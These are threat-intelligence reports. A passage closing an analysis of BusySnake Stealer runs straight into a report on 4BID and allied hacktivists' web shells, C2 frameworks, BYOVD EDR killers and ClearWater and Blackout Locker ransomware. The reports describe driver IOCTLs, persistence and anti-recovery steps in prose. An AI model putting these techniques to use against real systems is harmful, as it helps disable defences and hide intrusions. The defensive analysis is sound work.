The Armored Likho group has historically deployed the AquilaRAT remote access Trojan. It shares a similar structure with BusySnake Stealer: the malware receives tasks from the C2 server, and their execution is carried out by dedicated handlers. Additionally, BusySnake Stealer and AquilaRAT utilize similar endpoints for C2 communications — for example, when reporting task execution statuses back to the server:
AquilaRAT
Another structural overlap is seen in their persistence mechanisms. Both BusySnake Stealer and AquilaRAT maintain their footprint on compromised hosts by registering scheduled tasks that masquerade as legitimate Microsoft system utilities. While AquilaRAT typically names its task MicrosoftOfficeUpdate, BusySnake Stealer uses the name WindowsHelper.
Victims
We continue to actively monitor the ongoing deployment campaigns of BusySnake Stealer, alongside its related artifacts and network infrastructure.
To date, confirmed victims have been identified across Russia, Kazakhstan, and Brazil. The attacks are primarily focused on the governmental and electrical power infrastructure sectors.
Takeaways
An analysis of Armored Likho’s campaigns over the past few months shows a trend toward using AI tools to generate first-stage payloads, as indicated by redundant comments and code blocks. This allows the group to broaden its available attack vectors.
In parallel, the group is aggressively refining and modifying its core toolkit. While Go2Tunnel previously operated as a standalone utility, its reverse-tunneling functionality has now been integrated directly into the stealer as a built-in feature that ingests parameters from the C2 server. Furthermore, the structural design of this newly discovered stealer shares pronounced architectural overlaps with AquilaRAT, another staple tool in the group’s arsenal.
At the time of writing, Armored Likho remains highly active. Despite the evolution of their malware variants and their efforts to obfuscate their TTPs, we continue to closely monitor the group’s footprint and detect emerging campaigns.
Defensive solutions detect the threat actor’s activity at the initial stage when the LNK downloader is executed. Upon execution, the shortcut runs an obfuscated command via rundll32.exe, which subsequently triggers a PowerShell command to pull down the second-stage payload. This malicious chain of events is caught by the following detection rules:
The Kaspersky Cloud Sandbox solution can be used for a comprehensive analysis of the malicious activity described here. The figure below shows the Kaspersky Cloud Sandbox interface, demonstrating the event chain of the obfuscated command execution by the LNK downloader.
LNK downloader execution graph in Kaspersky Cloud Sandbox
Additionally, inside Kaspersky Cloud Sandbox, it can be observed that during execution the stealer contacts remote URLs to download additional files, specifically a DOCX decoy document as well as the web_script.txt stager.
File downloads by the LNK downloader in Kaspersky Cloud Sandbox
If the EXE dropper is executed, Kaspersky Cloud Sandbox also records the downloading of additional tools from a GitHub repository.
EXE dropper execution graph in Kaspersky Cloud Sandbox
File downloads by the EXE dropper in Kaspersky Cloud Sandbox
Furthermore, dynamic analysis results show that the sample writes an additional file to the disk, which is used in subsequent stages of the attack.
Malicious file written to disk by the EXE dropper in Kaspersky Cloud Sandbox
While tracking the activities of 4BID we uncovered a new string of campaigns that appear to be the work of several interconnected actors. While politically motivated groups generally limit their scope to specific nations – for 4BID and its peers, primarily Russian and occasionally Belarusian organizations – our latest findings reveal a shift. The actual geographic footprint of these attacks became broader than expected, striking companies across Kazakhstan, the UAE, Syria, and Egypt.
What triggered our investigation was spotting a cluster of indicators of compromise within a breached Russian organization’s infrastructure. We used these footprints to successfully track down other environments hit by the same threat actors and piece together the bigger picture.
This article dives into the software deployed throughout these hacktivist campaigns:
New ransomware samples
Scripts used at various stages of the attacks
Commercially available IT remote monitoring and management (RMM) tools
These include both updated versions of known threat-actor tools and previously unseen software.
Overlapping activity streams
Within the initial organization’s infrastructure, we found numerous activity indicators linked to several interconnected hacktivist groups – which ultimately set the direction for our follow-up analysis. We can attribute the following findings to hacktivist activity with a medium level of confidence:
Several samples of BlackReaperRAT, which we attribute to the 4BID group, were found alongside scripts designed to download Panorama9 RMM, AnyDesk, and Dev Tunnels.
Besides the artifacts listed above, we discovered ClearWater ransomware in other compromised infrastructures. Interestingly, during this same window, public sources showed Hakerskii Kit claiming a successful attack on a Russian factory. Also detected in that facility’s infrastructure was ClearWater ransomware, with the attackers publicly thanking the С.A.S. group for their contribution.
We uncovered several samples of Warp RAT within the hit infrastructures, which we link to the Goffee threat group. A detailed report on this specific activity will be published at a later date.
Technical details
Vulnerable web servers and fd.aspx
Analysis of the compromised environments revealed that the attackers gained initial access in most cases by exploiting the ProxyShell vulnerability in Microsoft Exchange, which allows for full server compromise.
Once inside, the attackers deployed the fd.aspx web shell – a modular ASP.NET file designed for remote control, file transfers, and system reconnaissance. Communication with the web shell relied on a basic security check: if the key parameter in an incoming request failed to match the AUTH_KEY constant, fd.aspx simply returned “Access Denied”.
Access key verification
If the verification was successful, the command contained in the request’s scriptText parameter was passed directly to PowerShell, and the output returned to the operator in the body of the HTTP response. In environments where PowerShell execution was restricted, the web shell swapped it out for cmd.exe. The CreateNoWindow: true and UseShellExecute: false flags were used to keep the command execution hidden from the user.
Beyond running commands, the web shell features bidirectional Base64-encoded file transfers. This allows any binary data – like executables, archives, or certificates – to be passed right inside the body of an HTTP request. The UploadFile function writes files to any directory the web server process can access, which makes it easy to drop additional shells or swap out legitimate files. The DownloadFile function exfiltrates any accessible file from the compromised system back to the attackers’ C2 server.
The web shell also includes a system reconnaissance feature that grabs the following data points:
OSVersion: operating system version
MachineName: hostname
UserName: current username
UserDomainName: domain name
ProcessorCount: number of processors
SystemDirectory: system directory path
CurrentDirectory: current working directory
Version: .NET Framework version
Additionally, the reconnaissance feature uses the DriveInfo.GetDrives() function to enumerate running processes and map out connected drives – along with the amount of free space available on each. This file system reconnaissance is topped off with LastWriteTime metadata for each object, which helps the operator quickly spot recently modified files and get their bearings within the storage layout.
Alongside the web shells, we encountered a variety of scripts and C2 frameworks across all compromised infrastructures, which we break down below.
Scripts deployed
Once the attackers gained control over a target system, they moved on to the next phase: loading their required toolkit via custom scripts. Variations of these scripts were consistently found alongside fd.aspx on compromised hosts. Most of them interact with legitimate tools, which makes them look almost identical to routine administrative scripts at first glance. The only real giveaway is the code comments, written in Ukrainian. One such script is responsible for deploying AnyDesk on the compromised host.
The build quality of these scripts is worth discussing separately. Several of them show telltale signs of AI generation; inside some compromised systems, we found multiple iterations of the exact same script, a few of which were completely broken. AI-generated code typically fails to work out of the box and requires manual tweaking to run properly.
First, the script checks for admin privileges, as it cannot proceed without them. If that check passes, it looks for an active anydesk.exe process. If the process is missing, the script fetches and installs the application directly from the official website. Once AnyDesk is successfully installed, the script configures an unattended access password and pulls the unique AnyDesk ID. All the collected details are compiled into a report and exfiltrated to the attackers’ server at 185.221.153[.]121. Because we spotted simultaneous activity from multiple groups – 4BID, Hakerskii Kit, and C.A.S. – on the analyzed hosts, this IP address could potentially belong to any one of them.
Besides AnyDesk, the threat actors leverage other legitimate tools. One example is Microsoft Dev Tunnels, a Microsoft service that exposes a local server to the internet. It’s brought into the system by a separate script that, much like the one for AnyDesk, checks if the utility is already present before downloading it from the official site. In certain instances, the utility was fetched directly from the attackers’ server instead:
Once installed, the application runs, and the resulting connection details are saved to a file named login.txt. The contents of this file consist of standard instructions for using a provided code to authenticate on a Microsoft page through a web browser.
To sign in, use a web browser to open https://login.microsoft.com/device and enter the code [CODE].
As a final step, the script opens up the required ports and creates the tunnel, giving the attackers a back door into the compromised host.
Another script we uncovered handles the installation of Panorama9, a legitimate remote monitoring and management utility. Immediately after downloading that application, the attackers configure it via the registry to hide both its system tray icon and its installation folder. To camouflage the Panorama9 services, the attackers rename them to Windows Update Helper and Windows Update Helper Cache and swap out their descriptions, making the utility look almost identical to standard system components. Once the utility finishes its job, the script clears its tracks.
The attackers used a dedicated script to establish persistence on the system. When executed, it used the net user command to spin up a local user account and then hid it via the registry. The script added this new user to every available local group; if the machine was domain-joined, it also attempted to inject the user into all Active Directory groups.
At the same time, the script tweaked RDP settings: it set the minimum encryption level through the registry, added a firewall rule to allow port 3389, and ran the relevant services.
After it wrapped up its main tasks, the script wiped the event logs, command history, temporary files, and finally itself. Once the attackers got what they wanted out of the infected host, they triggered another script that removed the previously created user account, cleaned out the registry keys generated during the earlier phases, and then deleted itself as well.
The scripts described here are just the most telling examples out of dozens of samples we found. An analysis of the attackers’ toolkit reveals a clear trend: they aren’t just fine-tuning the solutions they’ve used in the past (specifically, the AnyDesk deployment script), but are actively broadening their arsenal with new tools like Panorama9, Dev Tunnels, and others.
Publicly available utilities
As previously mentioned, the attackers leverage a broad spectrum of dual-use public software, such as all kinds of remote monitoring and management utilities. While they use the scripts discussed above to drop some of the utilities onto systems, we didn’t encounter scripts for others, so we can’t confirm whether any exist. We observed the following tools deployed across the campaigns in question:
AnyDesk: a remote administration tool
Advanced IP Scanner: a network scanning utility
Dev Tunnels: a Microsoft service used for exposing a server to the internet
Panorama9: an IT infrastructure management and monitoring service
Nezha Monitoring: a server status monitoring utility
Tactical RMM: a remote monitoring and management tool
C2 and communications
To gain a foothold in the victim’s infrastructure, the attackers relied on several post-exploitation frameworks. Some of these are publicly available utilities, while others are custom-built.
Among the publicly available tools in the group’s arsenal are:
Sliver
Havoc
Apollo Mythic
Adaptix
We also discovered a previously undocumented backdoor, dubbed BlackSalt, which contacts the C2 server to fetch commands and executes them via cmd.exe.
Sliver
On several hosts, following the initial Microsoft Exchange server compromise, files named upd.exe, winhost.exe, update1.exe, update.exe, and akolo.exe were dropped alongside the previously mentioned fd.aspx files and scripts. All of them were located in the C:\Windows\System32\inetsrv\ directory and were configured as SFX archives with nearly identical payloads, which ran an install.bat script upon extraction.
Contents of the SFX archive
The install.bat script contents
The script copies the malicious components into the Windows folder and installs servicechecker.bat as a system service. To do this, it leverages the legitimate Windows Service Wrapper (WinSW) utility included in the archive under the filename backupsrv.exe. The archive also contains the WinSW configuration file, backupsrv.xml, which specifies exactly which script should be registered as a service. Once installed, servicechecker.bat is configured to run automatically on system boot.
The servicechecker.bat script, in turn, runs backupagnt.exe, a loader for the main malicious component housed in WindowsInternal.UpdateComponent.dll. This file was built with the help of the Donut utility and is encrypted with a simple single-byte XOR key (0x0F). Its primary job is to inject the Sliver code straight into the device’s memory.
The backupagnt.exe loader code
All Sliver instances uncovered during this investigation were configured to communicate with the C2 server at 185.221.153[.]121 over mTLS.
Havoc
Inside a similar SFX archive located in the user directory $user\desktop\ under the filename demon.x64.exe, we found another post-exploitation framework: Havoc. This instance was configured to communicate with the C2 server at 77.72.85[.]62.
Apollo
Mythic Apollo is a cross-platform post-exploitation agent used within the Mythic framework to manage compromised systems. It provides a persistent connection to the C2 server, executes operator commands, handles file uploads/downloads, runs arbitrary code, and supports expansion via plugins. We previously provided a detailed breakdown of the Mythic framework in our post, Hunting for Mythic in Network Traffic.
Here is an example of the Mythic Apollo configuration we encountered in these hacktivist attacks:
This specific sample of the .NET Mythic Apollo agent was compiled with an extensive suite of modules and supports multiple transport profiles that enable communication via HTTP, TCP, WebSocket, SMB, named pipes, and web shells. The C2 address 77.72.85[.]62 is hardcoded into its configuration.
Adaptix
AdaptixC2 is another post-exploitation framework in the attackers’ arsenal. This is a relatively new open-source project, which we broke down in our post, Adapt or pay:an analysis of the AdaptixC2 framework.
The agent samples discovered during our investigation into these hacktivist campaigns consist of a packed AdaptixC2 Beacon delivered via a custom x64 loader. Upon execution, the payload decrypts an embedded shellcode, allocates memory, and executes the malicious payload using the CreateThread WinAPI function. Packed inside the shellcode is the AdaptixC2 Beacon agent in DLL format, featuring a configuration encrypted using RC4.
According to the AdaptixC2 classification system, this agent falls under the BEACON_HTTP type. It is capable of executing commands, performing file operations, enumerating and killing processes, launching new programs, and exfiltrating data back to the C2. It also supports SOCKS port forwarding and BOF modules.
AdaptixC2 uses encryption to keep its configuration under wraps. The corresponding block contains the data size, the actual RC4-encrypted configuration, and a 16-byte key.
Example agent configuration
Example of agent requests pinging the C2 address, as flagged by Kaspersky solutions and displayed in Kaspersky Threat Lookup
BlackSalt Backdoor
During the investigation, we also came across target infrastructures running vulnerable versions of Microsoft Exchange where – much like the Sliver cases – SFX archives named WindowsServiceHelper.exe were discovered in the C:\Windows\System32\inetsrv\ directory. Once extracted, the archive executed an install.bat file.
Similar to the other archives of this type, the script uses the WinSW utility to install the malicious components. In this specific case, however, the primary payload is a file named svc.exe, which turns out to be an obfuscated backdoor written in VBS. Much like the deployment scripts used for the remote management utilities, the code of this setup BAT script was clearly put together with AI tools and features comments in Ukrainian.
Main backdoor loop
The backdoor is essentially a textbook reverse shell. Its capabilities boil down to fetching commands from the C2 server at 45.150.109[.]2, executing them via cmd.exe, and piping the output back to the C2.
EDR killers
In their attacks, the threat actors deploy what are known as EDR killers: malicious tools designed to disable security software on the system. In the vast majority of cases, these utilities rely on the BYOVD technique.
On the hosts compromised during these hacktivist operations, we discovered samples named kil.exe and Killer.exe. These are modified versions of the public, Rust-based BYOVD project EDRKiller. The attackers streamlined the utility to act strictly as a client for the driver and expanded the hardcoded list of security processes to terminate. The sample targets the vulnerable Warsaw_PM driver, though it lacks the functionality to load the driver itself – the attackers drop it onto the system separately.
The general workflow plays out as follows:
In user mode, the program finds the PID of the target process.
It opens a handle to \\.\Warsaw_PM.
It constructs a buffer containing the target process’s PID.
It calls DeviceIoControl.
The driver executes the calls:
ZwOpenProcess;
ZwTerminateProcess.
The EDR killer continuously enumerates processes, repeatedly sending the IOCTL and terminating the target processes every single time they pop up.
Example of the process list storage inside the EDR killer
Both kil.exe and Killer.exe share the exact same list of processes targeted for termination:
Another utility used to kill security software processes is ghostdriver.exe, an unmodified build of the open-source project GhostDriver. In this case, the attackers simply pulled a version straight from GitHub and didn’t modify any of its code.
Example of output from the GhostDriver utility
The tool operates through the following stages:
Identify target processes The program takes a list of process names (such as msmpeng.exe) via command-line arguments. If no list is specified, it falls back to a default set.
Enumerate system processes To locate PIDs, the tool relies on standard Windows APIs:
CreateToolhelp32Snapshot
Process32First
Process32Next
Generate a list of processes to kill.
Load the vulnerable driver This is the core phase of the utility’s operation. During this step:
The sys driver is written to disk.
A SERVICE_KERNEL_DRIVER type service is created.
The driver is kicked off via the Service Control Manager (SCM).
GhostDriver.sys is hardcoded inside the GhostDriver executable and is a binary driver known as RentDrv2 (BadRentdrv2).
It contains the CVE-2023-44976 vulnerability, which allows it to:
Accept user-mode commands via DeviceIoControl.
Perform operations on processes from kernel mode.
Bypass security mechanisms, including Protected Process.
Upon execution, GhostDriver drops RentDrv2 to disk, loads it into the Windows kernel, and connects to it via the virtual device \\.\rentdrv2. The utility then issues command 0x22E010 to the driver, passing along the target process ID, and the driver terminates that process directly from kernel mode.
GhostDriver runs in a continuous loop. Every ~700 ms, it rescans for the target processes and sends out termination commands.
After the driver starts up, the utility attempts to delete the ghostdriver.sys file. To do this, it opens a file handle, uses the SetFileInformationByHandle WinAPI function to rename it to something like :GhostDriver, reopens the handle, and marks the file for deletion via FileDispositionInfo. Before wrapping up, it also tries to stop and remove the driver service, and delete the C:\rentdrv.log file where the driver writes its logs.
Example of the adversary command execution launching GhostDriver:
Current versions of Kaspersky products are resilient to these types of attacks: the utilities described in this post cannot terminate their processes.
Connection to the ClearWater ransomware
Alongside the previously described Mythic Apollo samples (C2: 77.72.85.62), backupagnt.exe loaders, and Panorama9 deployment scripts, we discovered a new ransomware strain named ClearWater across several compromised infrastructures. Written in C++ and compiled with GCC (MinGW), the sample is a 64-bit Windows executable. It features zero obfuscation; in fact, the binary wasn’t stripped of its DWARF debug information. This makes analyzing the sample significantly easier and points to either sloppiness or a lack of technical expertise on the developers’ part.
Original function names preserved within the Trojan’s body
When executed, ClearWater logs its progress in a separate console window.
The console window displayed upon launching the Trojan
File encryption
Like most ransomware strains, ClearWater is a Trojan designed to locate and encrypt the victim’s files. The Trojan executable contains a hardcoded RSA-2048 primary public key in PEM format.
For every file it processes, the ransomware generates a new 32-byte key and a 12-byte nonce – though only 8 of those 12 bytes are actually used – and encrypts the file’s contents via the ChaCha20 symmetric algorithm. The ChaCha key is then RSA-encrypted and appended to a specific data structure at the end of the file. To pull this off, the malware leverages cryptographic implementations from the open-source libsodium library.
The Trojan processes all files except those with a .txt extension. This approach can easily break installed software, as it blindly encrypts both libraries and executables; however, it does explicitly skip the system directory during its search. Encrypted files are additionally appended with the .clear extension. The malware scans for targets on local drives as well as SMB network shares, which it maps out by using the net view command.
Additional functionality
Within every directory it processes, the Trojan drops the attackers’ demands into a file named CLEARWATER_README.txt.
Ransom note:
Additionally, by modifying the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key, the malware sets up a persistence mechanism that automatically opens the ransom note with notepad.exe on startup.
ClearWater is distributed inside a self-extracting archive. The extraction script runs in silent mode (GUIMode=”2″), escalates privileges via a UAC prompt, drops the Trojan at C:\ProgramData\ClearWater_x64.exe, and kicks it off. Once the ransomware finishes running, the SFX archive cleans up after itself and wipes the original archive (SelfDelete=”1″).
Alongside this script and the Trojan executable, the archive includes a BMP image. The ransomware sets this image as both the desktop wallpaper (by tweaking the HKEY_USERS\<…>\Control Panel\Desktop\Wallpaper registry key and calling SystemParametersInfoA with the SPI_SETDESKWALLPAPER parameter) and the lock screen background (by modifying the LockScreenImagePath and LockScreenImageUrl values under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP).
Two variants of the desktop and lock screen image
To complicate system recovery after the attack, ClearWater performs several actions typical of ransomware:
Deletes shadow copies using the following commands:
Wipes the backup catalog and disables Windows Restore:
Removes restore points:
Disables the system startup recovery option:
ClearWater also features a kill_all_non_whitelisted_processes() function designed to terminate active tasks, though it doesn’t actually call it during execution. This function leverages PowerShell to look up and kill any process whose name isn’t included in a hardcoded allowlist within the Trojan’s body. It uses the following PowerShell code to do this:
In a previously published report (link in Russian) on collaborations between several hacktivist groups, we highlighted a tool called Blackout Locker. In late January 2026, the 4BID group ran a series of attacks against organizations in Russia using an updated version of this malware. This section breaks down the new version of Blackout Locker and covers its key characteristics uncovered during our analysis.
Rust dropper
The attackers use a dropper written in Rust to distribute Blackout Locker. Depending on the specific sample, the dropper first carries out a series of staging actions. It then writes the payload executable to …\Users\[USERNAME]\AppData\Local\Microsoft\[REDACTED].dat and swaps its extension to EXE by calling the Windows command prompt:
After that, it launches the renamed executable.
Blackout Locker
The primary tool deployed in the attacks in question is an updated version of Blackout Locker.
Our analysis revealed that the key difference in this new version is the addition of a screen locker component, which it drops and executes in tandem with the ransomware’s main background payload.
During the initial phase, the screen locker file is created under the following paths:
To launch the screen locker, several tasks are created:
The screen locker is also written to the following registry keys:
After this, two LNK files, SystemHelper.lnk and WindowsHelper.lnk, are created via PowerShell for subsequent execution:
The first file is placed in the %PROFILEPATH%\All users\Start menu\Programs\Startup directory:
The second file is placed in the %USERPROFILE%\Start menu\Programs\Startup directory:
As a result, a shortcut is created in the startup folder pointing to WindowsSystemHelper.exe located on the desktop. This ensures the screen locker appears every time the user logs in. Even if the victim enters the correct password into the locker window, it will keep popping back up; while the window itself closes after password entry, the corresponding task is never actually deleted.
Screen locker
During execution, Blackout Locker generates a file named README.txt, which the screen locker later references to pull the text displayed to the user. Some Blackout Locker samples drop a ransom note written in English:
On the lock screen, it may look like this:
Other samples deploy a ransom note in Russian:
If the program fails to read README.txt, it falls back to a hardcoded ransom message. If this fallback message is in Russian but the victim’s operating system lacks support for Cyrillic encodings, the loader’s on-screen output renders as garbled text.
Attack geography
The majority of the compromised infrastructures belong to Russian and Belarusian organizations, which aligns with the stated agenda of these hacker groups. However, for the first time, we identified victims in other countries with no relation to this agenda: Kazakhstan, the UAE, Syria, and Egypt. Within the network of a Kazakh aviation company, we detected multiple post-exploitation frameworks pointing to C2 servers at 77.72.85[.]62 and 185.221.153[.]121, traces of the Panorama9 and Tactical RMM platforms, and backupagnt.exe loaders. A similar footprint was observed in the infrastructure of an Egyptian hospital, though the familiar toolkit was augmented by the fd.aspx web shell. The remaining international victims exhibited a nearly identical combination of artifacts, with only minor variations.
While the primary targeting vector previously centered on Russia and Belarus, the threat actors now appear to be pivoting their attention toward the wider CIS region and the Middle East. This strategic shift correlates with a statement from a member of the 4BID group, who claimed that attacking Russia is no longer profitable.
Takeaways
The hacktivist groups discussed in this report are steadily expanding the geographical footprint of their campaigns, pushing beyond Russia and the wider CIS region. Alongside this expansion, we observe the growing use of ransomware and other tooling consistent with financially motivated operations, which may further influence their choice of victims.
This shift underscores the critical need for continuous threat landscape monitoring. To stay ahead of threat actors, organizations must look beyond the immediate risks facing their perimeter and proactively track emerging threats, including the tactics of groups targeting specific industry verticals or geographic regions.
Detection by Kaspersky solutions
Kaspersky solutions reliably detect the malicious activity in question at every stage of the malware lifecycle. This section outlines potential detection scenarios.
Publicly available dual-use software leaves numerous artifacts on targeted hosts, which helps Kaspersky Endpoint Detection and Response Expert trace the activity of these utilities.
For instance, network connections established with Panorama9 servers both during the initial software launch and throughout the tool’s operation trigger the panorama9_dns_activity rule. The Hunt Hub section of our TI Portal features detection rules for other event types and specific operating systems, searchable with the keyword panorama9. Similar rules exist for the other utilities described in this post: Tactical RMM, Nezha, and Dev tunnels.
GhostDriver.exe relies on an embedded vulnerable driver, which it drops onto the target host. The creation of these drivers is detected by the vuln_driver_created_by_unsigned_process rule family.
Ransomware is inherently quite noisy and so can be detected at various execution phases. The execution graph within Kaspersky Cloud Sandbox on our Threat Intelligence Portal visualizes the entire ClearWater execution chain, capturing key behaviors such as modifying the desktop wallpaper and deleting shadow copies.
ClearWater execution graph in Kaspersky Cloud Sandbox
Additionally, the Threat Lookup and Research Graph sections of Kaspersky Threat Intelligence Portal allow you to visualize and analyze the connections between the malicious domains and files used by the adversaries.
Visualization via Research Graph on Kaspersky Threat Intelligence Portal
Kaspersky Threat Lookup demonstrating the connection between malicious files and the attackers’ IP address
Monitoring network traffic is another highly effective method for detecting the malicious activity described here. Kaspersky Anti Targeted Attack (KATA) with the NDR module detects the network communications of all malware samples in question utilized throughout this campaign.
For instance, upon detecting HTTP network activity characteristic of the BlackSalt backdoor, the system triggers an alert for the Backdoor.BlackSalt.HTTP.C&C rule triggering.